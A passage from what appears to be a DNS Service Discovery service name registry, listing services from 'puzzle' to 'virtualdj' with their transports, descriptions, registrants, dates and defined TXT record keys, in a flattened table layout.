puzzle Protocol used for puzzle [Michael_Thomason] [Michael_Thomason] Defined TXT keys: None
games
pvaccess tcp Experimental Physics and [Matej_Sekoranja] [Matej_Sekoranja] 2012-03-23 Defined TXT keys: None
Industrial Control System
qbox QBox Appliance Locator [Geoff_Back_4] [Geoff_Back_4] Defined TXT keys: None
qttp QuickTime Transfer Protocol [Stuart_Cheshire_5] [Stuart_Cheshire_5] Defined TXT keys: u=<username> p=<password> path=<path to
document> (Same as for _http._tcp)
quad tcp Distributed Game Data [Niall_Hogg] [Niall_Hogg] 2011-10-25 Defined TXT keys: Proprietary
quinn Quinn Game Server [Simon_Haertel] [Simon_Haertel] Defined TXT keys: None
Broadcast of Qwizdom
qwizcollab tcp Presentation sessions for [Qwizdom_Inc.] [Matthew_Owings] 2015-09-21 Defined TXT keys: None
joining by a client, such as
Qwizdom Notes+.
rakket Rakket Client Protocol [Orion_Reblitz_Richar] [Orion_Reblitz_Richar] Defined TXT keys: None
radiotag RadioTAG: Event tagging for [Andy_Buckingham] [Andy_Buckingham] Defined TXT keys: None
radio services
radiovis RadioVIS: Visualisation for [Andy_Buckingham] [Andy_Buckingham] Defined TXT keys: None
radio services
RadioEPG: Electronic
radioepg Programme Guide for radio [Andy_Buckingham] [Andy_Buckingham] Defined TXT keys: None
services
radioport tcp RadioPort Message Service [Bob_Iannucci] [Bob_Iannucci] 2011-11-23 Defined TXT keys: NONE
radioport udp RadioPort Message Service [Bob_Iannucci] [Bob_Iannucci] 2011-11-23 Defined TXT keys: NONE
Authentication, Accounting,
and Dynamic Authorization
via the RADIUS protocol.
radiusdtls udp This service name is used to [IESG] [IETF_Chair] 2015-03-23 2015-10-06 [RFC7585] Defined TXT keys: None
construct the SRV service
label "_radiusdtls" for
discovery of RADIUS/DTLS
servers.
Authentication, Accounting,
and Dynamic Authorization
via the RADIUS protocol.
radiustls tcp This service name is used to [IESG] [IETF_Chair] 2015-03-23 2015-10-06 [RFC7585] Defined TXT keys: None
construct the SRV service
label "_radiustls" for
discovery of RADIUS/TLS
servers.
railduino tcp Model Railroad Messaging [Railduino] [Volker_Wiegand_2] 2018-01-08 Defined TXT keys: role=master
raop Remote Audio Output Protocol [BonjourDev] [BonjourDev] 2011-10-14 Defined TXT keys: None
(AirTunes)
rbr RBR Instrument Communication [Greg_Johnson] [Greg_Johnson] Defined TXT keys: None
rce PowerCard [DeVoeSquared] [DeVoeSquared] Defined TXT keys: None
rdp Windows Remote Desktop [Jugaari] [Jugaari] Defined TXT keys: None
Protocol
realplayfavs RealPlayer Shared Favorites [RealNetworks] [RealNetworks] Defined TXT keys: None
recipe-box tcp The Recipe Box Exchange [Corpus_Collusion] [Kathy_Tafel] 2011-08-23 Defined TXT keys: txtvers
recipe-sharing tcp Recipe Sharing Protocol [Daniel_G_Taylor] [Daniel_G_Taylor] 2007-11 Defined TXT keys:
[http://www.recipemanager.org/rsp/rsp10draft.html#dnssd]
recolive-cc tcp Remote Camera Control [RecoLive_Sàrl] [Gabriele_Mondada] 2012-08-29 Defined TXT keys: txtvers, cid, nbd, cap
recolive-cc udp Remote Camera Control [RecoLive_Sàrl] [Gabriele_Mondada] 2012-08-29 Defined TXT keys: txtvers, cid, nbd, cap
recordit-itp tcp Recordit Image Transport [Freshout] [Ruben_Beltran_del_Rio_2] 2014-04-14 Defined TXT keys: None
Protocol
Remote Device Control Defined TXT keys: txtvers=<TXT record version tag>
remote Protocol [Gregory_Dudek] [Gregory_Dudek] protovers=<protocol vesion number> forground=<primary device
or system> version=<firmware/instrument controller version>
Remote Buddy remote control
remotebuddy tcp software command and data [IOSPIRIT_GmbH] [Felix_Schwarz] 2014-09-23 Defined TXT keys: None
exchange
remoteburn LaCie Remote Burn [Serge_DE_LUCA] [Serge_DE_LUCA] Defined TXT keys: server_version, min_client_version
renderpipe ARTvps RenderDrive/PURE [Andrew_Hoddinott] [Andrew_Hoddinott] Defined TXT keys: None
Renderer Protocol
rendezvouspong RendezvousPong [Math_Game_House_Soft] [Math_Game_House_Soft] Defined TXT keys: None
renkara-sync Renkara synchronization [Michael_J_Primeaux] [Michael_J_Primeaux] Defined TXT keys: None
protocol
resol-vbus RESOL VBus [Daniel_Wippermann] [Daniel_Wippermann] Defined TXT keys: None
retrospect Retrospect backup and [Michael_Marks] [Michael_Marks] Defined TXT keys: None
restore service
Remote Frame Buffer Client Defined TXT keys: server=dns-name/ip-address:port of
rfbc (Used by VNC viewers in [Ole_Morten_Duesund] [Ole_Morten_Duesund] currently displayed VNC server. Empty if not showing
listen-mode) anything/available.
rfid RFID Reader Mach1(tm) [Paul_Dietrich] [Paul_Dietrich] Defined TXT keys: None
Protocol
rgb tcp RGB Spectrum Device [RGB_Spectrum] [Steve_Hershey] 2011-10-10 Defined TXT keys: Keyboard, Mouse, Option1, Option2, Option3,
Discovery Option4, ModelName
riousbprint Remote I/O USB Printer [Rob_Newberry] [Rob_Newberry] Defined TXT keys: See BonjourPrinting.pdf.
Protocol
roambot tcp Roambot communication [Roambotics_Inc] [Scott_Menor] 2013-10-18 Defined TXT keys: None
Like ircu (RFC1459), but
robustirc tcp failure tolerant due to [Michael_Stapelberg] [Michael_Stapelberg] 2015-01-07 Defined TXT keys: None
strong consistency among
n>=3 servers
roku-rcp Roku Control Protocol [Don_Woodward] [Don_Woodward] Defined TXT keys: txtvers=1
roomcast-capi tcp RoomCast Control Protocol [Colin_Corby] [Colin_Corby] 2017-02-01 Defined TXT keys: protocolVersion, uuid
roomcast-mapi tcp RoomCast Management Protocol [Colin_Corby] [Colin_Corby] 2017-02-01 Defined TXT keys: protocolVersion, uuid
rql RemoteQuickLaunch [Daniel_Heffernan] [Daniel_Heffernan] Defined TXT keys: None
rr-disc Robot Raconteur discovery [Wason_Technology_LLC] [John_Wason] 2014-01-27 Defined TXT keys: None
Ruckus Radio Access Device, Defined TXT keys: txtvers=<version>, serial=<serial number>,
rradict tcp Installation, Commissioning [Dave_Stephenson] [Dave_Stephenson] 2016-03-09 mac=<mac-address>, model=<model number>, opMode=<operational
and Troubleshooting service. mode>, tx=<transmitter-status>, timing=<timing-status>
rsmp-server Remote System Management [Geoff_Back_3] [Geoff_Back_3] Defined TXT keys: apiver=<major.minor>
Protocol (Server Instance)
rubygems RubyGems GemServer [Rich_Kilmer] [Rich_Kilmer] Defined TXT keys: None
rxxmiele tcp Miele protocol robot [Miele_and_Cie._KG] [Nils_Langhammer] 2018-04-20 Defined TXT keys: txtvers and proprietary keys
cleaners
rym-rrc tcp Raymarine remote control [Raymarine_UK_Limited] [Geoffrey_Beer] 2012-05-24 2012-06-04 Defined TXT keys: raymarine-mfd-rrc-version,
protocol raymarine-mfd-model, raymarine-mfd-serial
safarimenu Safari Menu [Jesus_De_Meyer] [Jesus_De_Meyer] Defined TXT keys: None
sallingbridge Salling Clicker Sharing [Jonas_Salling] [Jonas_Salling] Defined TXT keys: None
sallingclicker Salling Clicker Service [Jonas_Salling] [Jonas_Salling] Defined TXT keys: None
Salutafugi Peer-To-Peer Java
salutafugijms Message Service [David_Walend] [David_Walend] Defined TXT keys: SalutaProperties
Implementation
sandvox Sandvox [Karelia_Software] [Karelia_Software] Defined TXT keys: None
savagesoft tcp Proprietary Client Server [Andy_Savage] [Andy_Savage] 2012-07-13 Defined TXT keys: None
Protocol
sc-golf StrawberryCat Golf Protocol [Phil_Willoughby] [Phil_Willoughby] Defined TXT keys: None
scanner Bonjour Scanning [Baskaran_Subramaniam] [Baskaran_Subramaniam] Defined TXT keys: None
schick Schick [Heiko_Kretschmer] [Heiko_Kretschmer] Defined TXT keys: None
schims tcp schindler internal messaging [Schindler_Aufzuege_ag] [Arno_Odermatt] 2015-12-05 Defined TXT keys: None
service
schlog tcp logging service [Schindler_Aufzuege_ag] [Arno_Odermatt] 2015-12-05 Defined TXT keys: None
schmpp tcp Schindler maintenance portal [Schindler_Aufzuege_ag] [Arno_Odermatt] 2015-04-30 Defined TXT keys: None
protocol
schoms tcp schindler object messaging [Schindler_Aufzuege_ag] [Arno_Odermatt] 2015-05-12 Defined TXT keys: None
system
schsap tcp Schindler service [Schindler_Aufzuege_ag] [Arno_Odermatt] 2015-04-30 Defined TXT keys: None
authentication portal
schsrmp tcp Schindler internal messaging [Schindler_Aufzuege_ag] [Arno_Odermatt] 2017-07-07 2017-07-10 Defined TXT keys: None
service
scone Scone [James_Moore] [James_Moore] Defined TXT keys: None
The service name is used by
the SFTP protocol to upload
log files from vehicles to
scoop-sftp tcp road side units in a [SCOOP_at_F_Project] [Houda_Labiod] 2016-02-04 Defined TXT keys: None
securely way in a
cooperative intelligent
transportation system.
The service name is used by
the SFTP protocol to upload
log files from vehicles to
scoop-sftp udp road side units in a [SCOOP_at_F_Project] [Houda_Labiod] 2016-02-04 Defined TXT keys: None
securely way in a
cooperative intelligent
transportation system.
scpi-raw IEEE 488.2 (SCPI) Socket [Nick_Barendt_3] [Nick_Barendt_3] Defined TXT keys: None
scpi-telnet IEEE 488.2 (SCPI) Telnet [Nick_Barendt_3] [Nick_Barendt_3] Defined TXT keys: None
sdsharing Speed Download [Yazsoft] [Yazsoft] Defined TXT keys: None
see SubEthaEdit 2 [TheCodingMonkeys] [TheCodingMonkeys] Defined TXT keys: txtvers=1, name=<Full Name>, userid=<User
ID>, version=2
seeCard seeCard [Stefan_Pantke] [Stefan_Pantke] Defined TXT keys: None
senteo-http Senteo Assessment Software [Michael_Boyle] [Michael_Boyle] Defined TXT keys: None
Protocol
sentillion-vlc Sentillion Vault System [George_Hartz] [George_Hartz] Defined TXT keys: None
sentillion-vlt Sentillion Vault Systems [George_Hartz] [George_Hartz] Defined TXT keys: None
Cluster
sepvsync SEPV Application Data [Kazuya_Ogata] [Kazuya_Ogata] Defined TXT keys: Proprietary
Synchronization Protocol
serendipd serendiPd Shared Patches for [Hans_Christoph_Stein] [Hans_Christoph_Stein] Defined TXT keys: None
Pure Data
servereye ServerEye AgentContainer [Andreas_Behr] [Andreas_Behr] Defined TXT keys: None
Communication Protocol
servermgr Mac OS X Server Admin [Jeff_Albouze] [Jeff_Albouze] Defined TXT keys: None
services DNS Service Discovery [Stuart_Cheshire_5][Marc_Krochmal] [Stuart_Cheshire_5][Marc_Krochmal] Not a service type. Special name reserved for DNS-SD meta
queries.
sessionfs Session File Sharing [Anthony_Williams] [Anthony_Williams] Defined TXT keys: Text keys are the file extensions of any
file the user plans to share, i.e. pdf, doc, mp3.
setlistmaker-rc tcp Remote Control for Set List [Arlo_Leach] [Arlo_Leach] 2017-04-21 Defined TXT keys: None
Maker app
setlistmaker-ss tcp Screen sharing for Set List [Arlo_Leach] [Arlo_Leach] 2017-04-21 Defined TXT keys: None
Maker app
sftp-ssh Secure File Transfer [Bryan_Cole] [Bryan_Cole] Defined TXT keys: u=<username> p=<password> path=<path>
Protocol over SSH
sge-exec Sun Grid Engine (Execution [Bill_Van_Etten] [Bill_Van_Etten] Defined TXT keys: None
Host)
sge-qmaster Sun Grid Engine (Master) [Bill_Van_Etten] [Bill_Van_Etten] Defined TXT keys: None
Defined TXT keys: username The login username to use
Window Shifter server (optional) ssh_tunnel Whether an SSH tunnel must be used
shifter protocol [Antoine_Martin] [Antoine_Martin] (required) iface The network interface the server is on
(required - may be empty) version Software version (required)
ID Server Identifier (requried)
Defined TXT keys: txtvers=<txtVersionNumber>
ship tcp SHIP (Smart Home IP) [EEBus_Initiative] [Andreas_Westermann] 2014-11-10 id=<uniqueDeviceIdentifier> path=<wssPath>
seesport=<portForSmartEndToEndSecurityIfSupported>
register=<registerFlag>
shipsgm Swift Office Ships [Verek] [Verek] Defined TXT keys: None
shipsinvit Swift Office Ships [Verek] [Verek] Defined TXT keys: None
shoppersync SplashShopper [Justin_Cepelak] [Justin_Cepelak] Defined TXT keys: Proprietary
Synchronization Service
The protocol is used to sync
shots-sync udp database among iOS devices [Ryota_Kurata] [Ryota_Kurata] 2016-02-10 Defined TXT keys: None
and Mac OS X computers.
shoutcast Nicecast [Rogue_Amoeba_2] [Rogue_Amoeba_2] Defined TXT keys: None
siminsufflator tcp Simulated insufflator [Niels_Castle_2] [Niels_Castle_2] 2014-06-18 Defined TXT keys: None
synchronisation protocol
Medical simulation patient
simmon monitor syncronisation [Niels_Castle] [Niels_Castle] Defined TXT keys: None
protocol
simusoftpong simusoftpong iPhone game [Anders_Svensson] [Anders_Svensson] Defined TXT keys: Proprietary
protocol
sipuri Session Initiation Protocol [Jae_Woo_Lee] [Jae_Woo_Lee] Defined TXT keys: Defined in URL specification
Uniform Resource Identifier
sironaxray Sirona Xray Protocol [Michael_Dalpiaz] [Michael_Dalpiaz] Defined TXT keys: Manufacturer=Sirona
The protocol is used to
skillscapture tcp transfer database records [Legentis_Ltd] [David_Elliman] 2013-07-01 Defined TXT keys: None
between an iOS device to a
Mac OS X computer
The protocol is used to
skillscapture udp transfer database records [Legentis_Ltd] [David_Elliman] 2013-07-01 Defined TXT keys: None
between an iOS device to a
Mac OS X computer
skype Skype Defined TXT keys: platform, status, auth, rversion, version
sleep-proxy udp Sleep Proxy Server [Stuart_Cheshire_5][Marc_Krochmal] [Stuart_Cheshire_5][Marc_Krochmal] Defined TXT keys: None
sleeptracker tcp Sleeptracker(R) The loT [Fullpower_Technologies_Inc] [Corporate_Compliance_Officer] 2016-08-17 Defined TXT keys: serial=<serial> hostname=<host> osVer=<ver>
Smartbed Platform appVer=<ver> unit=<name> environment=<env>
slimcli SliMP3 Server Command-Line [Dean_Blackketter_2] [Dean_Blackketter_2] Defined TXT keys: None
Interface
slimhttp SliMP3 Server Web Interface [Dean_Blackketter_2] [Dean_Blackketter_2] Defined TXT keys: None
slpda tcp Remote Service Discovery in [RFC3832]
the Service Location
slpda udp Remote Service Discovery in [RFC3832]
the Service Location
smag tcp terminal access to laundry [Schulthess_Maschinen_AG] [Michael_Schwetz] 2018-11-30 Defined TXT keys: mName, tName, lName, Type, Timestamp
appliances
smartenergy Smart Energy Profile [Robby_Simpson] [Robby_Simpson] Defined TXT keys: See http://www.zigbee.org/SmartEnergy
smartsocket tcp home control [Robert_Diamond] [Robert_Diamond] 2012-07-06 Defined TXT keys: None
smb Server Message Block over Defined TXT keys: u=<username> p=<password> path=<path>
TCP/IP
smimeca tcp Domain signing certificate [IESG] [John_Levine] 2016-07-26 [draft-bhjl-x509-srv-01] Defined TXT keys: None
for S/MIME keys
sms Short Text Message Sending [Christian_Flintrup] [Christian_Flintrup] Defined TXT keys: Proprietary
and Delivery Status Service
Syncellence file Defined TXT keys: device=<device type> protocol=<version
smsync synchronization protocol [Dialectro_Software] [Gord_Peters] 2011-10-20 number> os=<operating system name> osver=<operating system
version>
soap Simple Object Access [Andrew_Donoho] [Andrew_Donoho] Defined TXT keys: None
Protocol
socketcloud Socketcloud distributed [Robert_Goodyear] [Robert_Goodyear] Defined TXT keys: system, service, process, context,
application framework direction, status, progress, health, directive, flags
soda tcp Secure On Device API [Smith_Micro_Software_Inc] [David_Sperling_2] 2011-10-10 Defined TXT keys: a. ssid=<Wi-Fi SSID of the device> b.
bssid=<Wi-Fi BSSID of the device>
souschef SousChef Recipe Sharing [Ben] [Ben] Defined TXT keys: None
Protocol
sox Simple Object eXchange [Igor_Mozolevsky] [Igor_Mozolevsky] Defined TXT keys: Proprietary
sparechange SpareChange data sharing [Dave_Carrigan] [Dave_Carrigan] Defined TXT keys: None
protocol
Defined TXT keys: txtvers=1 path=<relative or absolute URL of
endpoint> protovers=<number> [if not specified then default
SPARQL Protocol and RDF is 1.0, corresponding to SPARQL version] binding=<HTTP |
sparql Query Language [Alex_Tucker] [Alex_Tucker] SOAP> [if not specified then default is HTTP] vocabs=<space
separated list of URIs> [RDF vocabularies or OWL ontologies
used by the endpoint] metadata=<URL> [to fetch RDF/XML
description of SPARQL service]
spearcat sPearCat Host Discovery [Pierre_Frisch_2] [Pierre_Frisch_2] Defined TXT keys: applicationname=<Application Name>,
osname=<OS Name>, sslsupport=<Uses SSL>
spidap tcp Sierra Photonics Inc. data [Sierra_Photonics_Inc] [Support_Staff] 2011-10-20 Defined TXT keys: None
protocol
spincrisis Spin Crisis [Sphera_Software] [Sphera_Software] Defined TXT keys: None
spiderelectron tcp Binary message passing [Spider_Electron] [Kenny_Millar] 2015-02-05 Defined TXT keys: VER, STATUS
protocol
spl-itunes launchTunes [David_Nanian_2] [David_Nanian_2] Defined TXT keys: None
spr-itunes netTunes [David_Nanian_2] [David_Nanian_2] Defined TXT keys: None
splashsync SplashData Synchronization [Justin_Cepelak] [Justin_Cepelak] Defined TXT keys: Proprietary
Service
spres tcp SongPresenter [Tobias_Hoffmann] [Tobias_Hoffmann] 2012-10-09 Defined TXT keys: version, name
Defined TXT keys: txtvers=1 cport= the port for the content
HTTP server (secondary HTTP server used for content
publishing) mode= the mode in which the HMP device is
spx-hmp tcp SpinetiX HMP [SpinetiX_S_A] [Diego_Santa_Cruz] 2011-10-18 currently operating, one of "normal", "safe" or "recovery"
serial= serial number of the HMP device firmware= firmware
version string (e.g., 2.1.0-0.1.7844) model= model string
(e.g., HMP100)
sqp tcp Square Connect Control [Square_Connect_Inc] [Mat_Henshall] 2011-10-07 Defined TXT keys: Proprietary
Protocol
ss-sign tcp Samsung Smart Interaction [Samsung] [Lee_HoJun] 2013-01-03 Defined TXT keys: None
for Group Network
ss-sign-disc udp Samsung Smart Interaction [Samsung] [Lee_HoJun] 2013-01-03 Defined TXT keys: None
for Group Network Discovery
ssd-audio tcp Studio Six Digital Wireless [Studio_Six_Digital_LLC] [Andrew_Smith] 2018-10-26 Defined TXT keys: None
Audio
ssh tcp SSH Remote Login Protocol [Tatu_Ylonen] [Tatu_Ylonen] Defined TXT keys: u=<username> p=<password>
ssscreenshare Screen Sharing Defined TXT keys: None
startrecapp tcp Remote Controlled Multimedia [Luca_Cipressi] [Luca_Cipressi] 2015-03-27 Defined TXT keys: None
Recorder Network
stingray-rpc tcp Stingray Remote Procedure [IK_SATPROF_LLC] [Sergey_Zubov_2] 2014-05-02 Defined TXT keys: None
Call
stingray-remote tcp Stingray remote control [IK_SATPROF_LLC] [Sergey_Zubov_2] 2014-05-02 Defined TXT keys: None
strateges Strateges [Jean_Olivier_Lanctot] [Jean_Olivier_Lanctot] Defined TXT keys: None
stanza Lexcycle Stanza service for [Marc_Prud_hommeaux] [Marc_Prud_hommeaux] Defined TXT keys: None
discovering shared books
stickynotes Sticky Notes [Johnnie_Walker] [Johnnie_Walker] Defined TXT keys: None
stotp tcp One Time Pad Synchronisation [softthere_com] [James_Crosby] 2011-10-17 Defined TXT keys: None
Remote control protocol for
sugarlock-rcp tcp Sugarlock consumer [Sugarlock_LLC] [Don_Woodward-Sugarlock] 2016-01-22 Defined TXT keys: txtvers=1
electronics devices
Remote control protocol for
sugarlock-rcp udp Sugarlock consumer [Sugarlock_LLC] [Don_Woodward-Sugarlock] 2016-01-22 Defined TXT keys: txtvers=1
electronics devices
supple Supple Service protocol [Dave_Christianson] [Dave_Christianson] Defined TXT keys: type url
surveillus Surveillus Networks [Mark_Lewis_3] [Mark_Lewis_3] Defined TXT keys: None
Discovery Protocol
svn Subversion [CollabNet] [CollabNet] Defined TXT keys: None
swcards Signwave Card Sharing [Signwave_Networking] [Signwave_Networking] Defined TXT keys: None
Protocol
switcher Wireless home control remote [Steve_Splonskowski] [Steve_Splonskowski] Defined TXT keys: None
control protocol
swordfish Swordfish Protocol for [Jim_Wallace] [Jim_Wallace] Defined TXT keys: None
Input/Output
Framework for transferring
swyp any file from any app, to [ExoMachina] [Alexander_List] 2011-12-06 Defined TXT keys: NONE
any app on any device:
simply with a swÿp.
sxqdea Synchronize! Pro X [Qdea] [Qdea] Defined TXT keys: None
sybase-tds Sybase Server Defined TXT keys: None
Remote control of Synclavier
synclavier tcp Digital Audio Workstation [Synclavier_Digital] [Cameron_Jones] 2016-01-27 Defined TXT keys: None
over local area network.
syncopation Syncopation Synchronization [Sonzea] [Sonzea] Defined TXT keys: None
Protocol by Sonzea
syncqdea Synchronize! X Plus 2.0 [Qdea] [Qdea] Defined TXT keys: None
synergy Synergy Peer Discovery [Karl_Timmermann] [Karl_Timmermann] Defined TXT keys: None
synksharing SynkSharing synchronization [Benjamin_Rister] [Benjamin_Rister] Defined TXT keys: None
protocol
taccounting Data Transmission and [John_MacMullin] [John_MacMullin] Defined TXT keys: None
Synchronization
tango Tango Remote Control [Tony_Amundson] [Tony_Amundson] Defined TXT keys: None
Protocol
tapinoma-ecs Tapinoma Easycontact [Bonjour] [Bonjour] Defined TXT keys: None
receiver
Task Coach Two-way
taskcoachsync Synchronization Protocol for [Jerome_Laheurte] [Jerome_Laheurte] Defined TXT keys: None
iPhone
Defined TXT keys: txtvers=1, sesna, seid, setype, cosna,
tbricks tbricks internal protocol [Joakim_Johansson] [Joakim_Johansson] coid, cotype, sysna, syna, syid, subsyid, venid, protocols,
pid
tcode Time Code [Marshall_Anschutz] [Marshall_Anschutz] Defined TXT keys: None
tcu Tracking Control Unit by [James_Nikolai] [James_Nikolai] Defined TXT keys: None
RPM-PSI
te-faxserver TE-SYSTEMS GmbH Fax Server [Tobias_Erichsen] [Tobias_Erichsen] Defined TXT keys: Proprietary
Daemon
teamlist ARTIS Team Task [ARTIS_Software] [ARTIS_Software] Defined TXT keys: None
ted udp Teddington Controls [Teddington_Bemasan_Ltd] [Nathan_Child_CEng_MEng_Hons_MIET] 2016-03-21 Defined TXT keys: None
teleport udp teleport [Julien_Robert] [Julien_Robert] Defined TXT keys: None
tenir-rc tcp Proprietary [Tenir_Software] [Steve_Gums] 2011-10-27 Defined TXT keys: Proprietary
tera-fsmgr Terascala Filesystem Manager [Mike_Nuss] [Mike_Nuss] Defined TXT keys: Proprietary
Protocol
tera-mp Terascala Maintenance [Mike_Nuss] [Mike_Nuss] Defined TXT keys: Proprietary
Protocol
test-ok tcp Test Controller Card [TEST-OK_BV] [Jeroen_Ommering] 2012-09-05 Defined TXT keys: TEST-OK Test Controller Card TCCxxxx
tf-redeye ThinkFlood RedEye IR bridge [Matt_Eagar] [Matt_Eagar] Defined TXT keys: None
thumbwrestling tinkerbuilt Thumb Wrestling [Jamie_Halmick] [Jamie_Halmick] Defined TXT keys: None
game
ticonnectmgr TI Connect Manager Discovery [Stephen_Reid] [Stephen_Reid] Defined TXT keys: None
Service
timezone tcp Time Zone Data Distribution [IESG] [IETF_Chair] 2015-08-03 [RFC7808] This is an extension of the http service. Defined TXT keys:
Service - non-TLS path=<context path> (as per Section 6 of [RFC6763]).
timezones tcp Time Zone Data Distribution [IESG] [IETF_Chair] 2015-08-03 [RFC7808] This is an extension of the https service. Defined TXT keys:
Service - over TLS path=<context path> (as per Section 6 of [RFC6763]).
tinavigator TI Navigator Hub 1.0 [Stephen_Reid] [Stephen_Reid] Defined TXT keys: None
Discovery Service
tivo-device tcp TiVo Device Protocol [TiVo_Inc] [Developer_Support_2] 2011-10-18 Defined TXT keys: None
tivo-hme TiVo Home Media Engine [Developer_Support] [Developer_Support] Defined TXT keys: None
Protocol
tivo-mindrpc tcp TiVo RPC Protocol [TiVo_Inc] [Developer_Support_2] 2011-10-18 Defined TXT keys: None
tivo-music TiVo Music Protocol [Developer_Support] [Developer_Support] Defined TXT keys: None
tivo-photos TiVo Photos Protocol [Developer_Support] [Developer_Support] Defined TXT keys: None
tivo-remote TiVo Remote Protocol [Developer_Support] [Developer_Support] Defined TXT keys: protocol, path, swversion, platform, TSN
tivo-videos TiVo Videos Protocol [Developer_Support] [Developer_Support] Defined TXT keys: protocol, path, swversion, platform, TSN
todogwa 2Do Sync Helper Tool for Mac [Fahad_Gilani] [Fahad_Gilani] Defined TXT keys: None
OS X and PCs
tomboy Tomboy [Alex_Graveley] [Alex_Graveley] Defined TXT keys: None
toothpicserver ToothPics Dental Office [Milton_Pulis] [Milton_Pulis] Defined TXT keys: None
Support Server
touch-able iPhone and iPod touch Remote [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers, CtlN, DbId, Ver, DvTy, OSsi, DvSv
Controllable
touch-remote iPhone and iPod touch Remote [Amandeep_Jawa_3] [Amandeep_Jawa_3] Defined TXT keys: txtvers, DvNm, Pair, RemV, RemN, DvTy
Pairing
Coordination service for
tptx-console tcp client users of the [Randy_Davenport] [Chris_Watson] 2014-03-04 Defined TXT keys: None
TotalPraisTrax iPad
application
Service discovery and media
transmitr tcp transfer for peer to peer [Windward_Code_LLC] [Alex_Belliotti] 2013-11-27 Defined TXT keys: None
mobile media transfer app
tri-vis-client triCerat Simplify Visibility [Christopher_Karper] [Christopher_Karper] Defined TXT keys: None
Client
tri-vis-server triCerat Simplify Visibility [Christopher_Karper] [Christopher_Karper] Defined TXT keys: None
Server
tryst Tryst [Francisco_Ryan_Tolma] [Francisco_Ryan_Tolma] Defined TXT keys: None
The Social Broadband Defined TXT keys: there is no TXT keys defined for this
tsbiis tcp Interference Information [Sergio_Luis] [Sergio_Luis] 2012-02-27 protocol
Sharing
tt4inarow Trivial Technology's 4 in a [Nicolas_Payette] [Nicolas_Payette] Defined TXT keys: None
Row
ttcheckers Trivial Technology's [Nicolas_Payette] [Nicolas_Payette] Defined TXT keys: None
Checkers
ttp4daemon TechTool Pro 4 Anti-Piracy [Micromat] [Micromat] Defined TXT keys: None
Service
tunage Tunage Media Control Service [Matt_Patenaude] [Matt_Patenaude] Defined TXT keys: None
tuneranger TuneRanger [Acertant] [Acertant] Defined TXT keys: None
twinlevel tcp detect sanitary product [Oblamatik_AG] [Simon_Ensslen] 2012-09-05 Defined TXT keys: None
Service to enable
twosnakes tcp multiplayer game called two [Narendra_Kumar_Reddy_Thummaluru] [Narendra_Kumar_Reddy_Thummaluru] 2016-06-01 Defined TXT keys: None
snakes.
Service to enable
twosnakes sctp multiplayer game called two [Narendra_Kumar_Reddy_Thummaluru] [Narendra_Kumar_Reddy_Thummaluru] 2016-06-01 Defined TXT keys: None
snakes.
tyba tcp Tyba control [Tyba_Design_Limited] [Oz_Andrews] 2018-08-24 Defined TXT keys: PRID, HWSN, VERS
TZ-Software remote procedure
tzrpc tcp call based synchronization [Thomas_Zwick] [Thomas_Zwick] 2011-10-12 Defined TXT keys: Proprietary
protocol
ubertragen Ubertragen [Widgetschmie_de] [Widgetschmie_de] Defined TXT keys: None
ucdynamics-tuc udp Tactical Unified [UC_Dynamics_LLC] [Shaun_Botha] 2018-01-31 Defined TXT keys: None
Communicator
uddi Universal Description, [Paul_Denning] [Paul_Denning] Defined TXT keys: TBD
Discovery and Integration
Universal Description,
uddi-inq Discovery and Integration [Paul_Denning] [Paul_Denning] Defined TXT keys: TBD
Inquiry
Universal Description,
uddi-pub Discovery and Integration [Paul_Denning] [Paul_Denning] Defined TXT keys: TBD
Publishing
Universal Description,
uddi-sub Discovery and Integration [Paul_Denning] [Paul_Denning] Defined TXT keys: TBD
Subscription
Universal Description,
uddi-sec Discovery and Integration [Paul_Denning] [Paul_Denning] Defined TXT keys: TBD
Security
upnp Universal Plug and Play [Andrew_Donoho] [Andrew_Donoho] Defined TXT keys: None
urlbookmark URL Advertising [Sven_S_Porst] [Sven_S_Porst] Defined TXT keys: URL=<URL that is advertised>, name=<Name of
the bookmark>
usp-agt-coap udp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-http tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-stomp tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-agt-ws tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-09-28 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-coap udp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-http tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-stomp tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-01-12 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
usp-ctr-ws tcp USP discovery [Broadband_Forum] [Broadband_Forum] 2017-09-28 [http://www.broadband-forum.org/assignments] Defined TXT keys: see www.broadband-forum.org/assignments
uswi Universal Switching [Roger_Lemberg] [Roger_Lemberg] Defined TXT keys: None
Corporation products
utest uTest [Gregory_Power] [Gregory_Power] Defined TXT keys: None
uwsgi Unbit Web Server Gateway [Roberto_De_Ioris] [Roberto_De_Ioris] Defined TXT keys: None
Interface
ve-decoder American Dynamics VideoEdge [Gary_Sands] [Gary_Sands] Defined TXT keys: txtvers, macaddress, protovers, model,
Decoder Control Service serial, path, idp
ve-encoder American Dynamics VideoEdge [Gary_Sands] [Gary_Sands] Defined TXT keys: txtvers, macaddress, protovers, model,
Encoder Control Service serial, path, idp
ve-recorder American Dynamics VideoEdge [Gary_Sands] [Gary_Sands] Defined TXT keys: txtvers, macaddress, protovers, model,
Recorder Control Service serial, path, idp
vedabase tcp Application specific [Peter_Kollath_2] [Peter_Kollath_2] 2014-05-27 Defined TXT keys: txtvers=1
synchronization protocol
vhusb tcp USB over IP Sharing System [VirtualHere_Pty_Ltd] [Michael_Broadfoot] 2015-04-02 Defined TXT keys: <serial number of server>
virtualdj VirtualDJ Remote Control [Atomix_Productions] [Stephane_Clavel] 2011-10-12 Defined TXT keys: None
protocol
Defined TXT keys: Version=<service version> Type=<service
